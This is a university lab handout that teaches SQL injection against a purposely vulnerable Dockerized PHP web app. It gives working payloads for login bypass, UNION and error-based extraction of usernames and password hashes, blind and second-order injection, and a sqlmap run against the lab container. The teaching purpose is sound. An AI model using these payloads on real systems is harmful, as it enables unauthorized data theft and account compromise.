Lab - SQL Injections

Authors: João Paulo Barraca, Vitor Cunha, Paulo C. Bartolomeu, Alfredo Matos

Slides

Download here

Introduction

SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the Internet are susceptible to this form of attack.

Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.

Environment setup

For this project we will create a Docker containerized Web application that is purposely vulnerable.

Please obtain the compressed sqlinjection.zip file from the course website and decompress the vulnerable Web App:

# Uncompress the vulnerable webapp
$ unzip sqlinjection.zip

Then, go into the created folder and launch the Web application:

# Move to the Web application folder
$ cd sqlinjection

# Start the Web application's containers (www and sql)
$ docker compose up

Once the Web App is launched, identify the Web server’s container ID and name:

$ docker ps --format "{{.ID}}, {{.Names}}, {{.Status}}"
475e40316571, sqlinjection-www-1, Up 13 minutes
47c3b0f961f9, sqlinjection-db-1, Up 13 minutes

NOTE: The identifier of each docker container running in your environment will be different.

Using its container name (or ID), check the corresponding IP address:

$ docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' sqlinjection-www-1
10.139.1.3

Taking in consideration the output provided, if you access the IP address (in this case 10.139.1.3) on your host you should be welcome to a page similar to this:

SQL Vulnerable Webapp

The first step to begin to use the Webapp is resetting the database. You can do this by selecting the option reset db on the welcome page or by going to http://10.139.1.3:80/resetdb.php.

SQL Injection

It is very important to clean and validate all input data, especially data that will used in OS commands, templates, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.

The rule is simple, yet vital: if data is entering a domain (application domain coming from the user domain), it must be validated, as it can contain malicious (or simply malformed) content.

For improved security bind your parameters to the SQL query, and do not create queries based on concatenation of strings, especially if part of this text comes from an external entity.

In all exercises, adding the ?debug=true argument to the URL will allow you to see the actual query being executed. If you are finding it difficulty to proceed, feel free to add the argument.

In all cases, you must terminate all SQL queries by using -- // . The objective is to discard all text after your payload. The -- sequence adds a comment until the end of the line. However, some DBMS, such as the one used, require a space after --. The // sequence is there only to ensure that you do not miss that space.

Basic SQL Injections 1

For this exercise access the option login1.php. This link will present a standard login form, requiring a login and a password. You can check what happens with several input, especially using ' in the username and password. An error points towards some missing validation in the server.

The validation is made by executing the following line:


"SELECT * FROM users where username='".$user."' AND password='".md5($password)."'"

md5 is a hash function that is applied to the password to hide it, and will be addressed in a future lecture. For now, consider that it converts the password into a long value (e.g., md5("querty")=d8578edf8458ce06fbc5bb76a58c5ca4).

Focus in the username field, which is used without any modification. Take in consideration that the application requires the identification of an existing user. Therefore, your target is to specify a user and then make the application ignore the rest of the query.

Basic SQL Injections 2

For this exercise access the option login2.php. This link will present a standard login form, requiring a login and a password. You can check what happens with several input, especially using ' in the username and password. An error points towards some missing validation in the server.

The validation is made by executing the following line:

"SELECT * FROM users where (username='".$user."') AND (password = '".md5($password)."')"

The difference from the previous exercise is the use of parenthesis. This is frequently used as a way to difficult attacks, but its effectiveness is VERY limited. Can you create a string capable of bypassing the check?

SQL Injections 1

For this exercise access the option searchproducts.php. This link will present a form, to search for products by partial matching of a string or character. Try using a single letter such as a or b.

The query is made by executing the following line:

"SELECT * FROM products WHERE product_name LIKE '".$query."%'"

As you can check, the $query variable is used directly in the query. A simple attack could consist on ordering the data by the $5^th$ column:

b%' ORDER BY 5 -- //

Try this, and then change the column number. Pay attention to the ' character which is used to terminate the string, and add additional statements. The sequence -- // is used to signal a comment and will result in the engine to ignore everything that follows. Although it may not always be required, it simplifies the attack as the attacker can disregard further statements that originally existed.

Another thing you can do is to force content to be displayed into the Webpage. As an example, consider that you can use the UNION statement to create data that is presented to the page.

' UNION SELECT 1,2,3,4,5 -- //

would provide integer values for the 5 columns.

' UNION SELECT null, id, username, password, fname FROM users -- //

would result in more interesting outcome.

Can you explain what is the result of the following input does?

' UNION SELECT 1,'<img src="http://address"><img>',3,4,5 -- //

Can you use this method do extract data from other tables?

Try with the information_schema.columns. Remember that you can use the FROM directive to specify the target table.

SQL Second order attacks

The designation is given to attacks that result in the storage of an unsanitized piece of SQL, that is later executed by an insecure function. To test this type of attacks, use the page secondorder_register.php. It presents an interface for users to provide their account information (their profile). One field is vulnerable as the value stored is later used when the user changes his password. Can you find it?

TIP: use ', register a user and change the password.

Basically, what we have is a field that will present any value we want. The technique used in the last step can be used here. The difference is that the information is not provided immediately, but only when the user changes the password. This highlights the case that SQL Injections can happen even in internal functions that process data out of the database.

In the vulnerable field, use:

' or 1 in (SELECT @@version) -- //`

and see what happens. Can you get other information from the database? The SELECT directive can execute a wide range of queries and you already know that we have a table named users.

Blind Injection

A Blind SQL injection happens when an attacker is able to determine the content of the database by the result of an operation. That is, the attacker will not get data from the database, but it will get a code (Error code, true false, etc…) that provides information about the data in the database.

Access the page blindsqli.php and notice that it presents information about a user. An interesting situation is that the user is specified in the URL. Check what happens when you manipulate this value. As a hint, consider that the query being made has the form:

"SELECT * FROM users WHERE username = '".$_GET["user"]."'"

Consider the template:

user=bob' AND TEST  -- //

If the TEST succeeds, information is presented. Otherwise nothing is presented. This behavior can be used for a Blind SQL Injection. As an example, replace TEST with SUBSTRING((select id from users LIMIT 1), 1, 1)>0 which can be used to check if the id column exists in the database. If the profile data is shown, the column exists, otherwise nothing is showed to the user.

Can you use this to determine the number of users?

Hint: Use the COUNT directive. Can you use this to determine if there is at least one user with username starting with a?

Hint: Use a LIKE directive.

Error based data extraction

The login1.php page (and others) can be used to extract data from the server through error messages. This works by generating an error whose content is the information we wish to obtain. This possibility is one of the reasons why verbose errors should never be presented to users.

As an example, consider that the username is ' or 1 in (select @@version) -- //

This will result in the following query:

"SELECT * FROM users where username='' or 1 in (select @@version) -- //' AND password = '.md5($password)."'"

With a error message that includes the server version (@@version):

Warning: 1292: Truncated incorrect DOUBLE value: '8.0.17'

Any system variable can be used (e.g., @@tmpdir). For a complete list check this url.

Other queries can be made:

  • ' or 1 in (select password from users where username = 'admin') -- //: This will effectively return the hashed password of the admin user. Any field or user can be obtained. Try with bob.

  • ' or 1 in (select username from users where id=1) -- //: Actually, you can dump all usernames by referring them to their id. Other fields could be used.

  • ' or 1=CAST((select group_concat(name) from INFORMATION_SCHEMA.INNODB_TABLES) AS SIGNED) -- //: lists the tables of the information_schema first database. You can obtain the list of table identifiers (TABLE_ID) and then use this information to obtain further data (e.g., WHERE TABLE_ID=1024).

If you notice, the last example allows to dump all rows from any column in any table. It basically contacts multiple values so that the result can be included in the error message. Can you dump all users? What about the passwords?

Tools

Some tools can be used to automate the process of discovering potential injection issues. While there are many tools available, sqlmap is a simple, yet powerful candidate for some cases, especially blind attacks.

To use this tool, execute:

# Install the sqlmap tool in the VM
$ sudo apt install sqlmap

# Test the tool in the Web application
$ sqlmap -u http://10.139.1.3:80/blindsqli.php?user=bob

NOTE: Replace 10.139.1.3 with the IP address of the docker container

After some time, check the results provided. Did the tool provided information about additional attacks? Can you replicate one?

Further Reading

  1. MySQL SQL Injection Cheat Sheet
  2. CWE-89: Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
  3. MySQL 8.0 Reference Manual, Chapter 26: INFORMATION_SQUEMA Tables
  4. How to run Docker inside LXD containers

Tools

Previous
Next

Last updated on 28 Sep 2024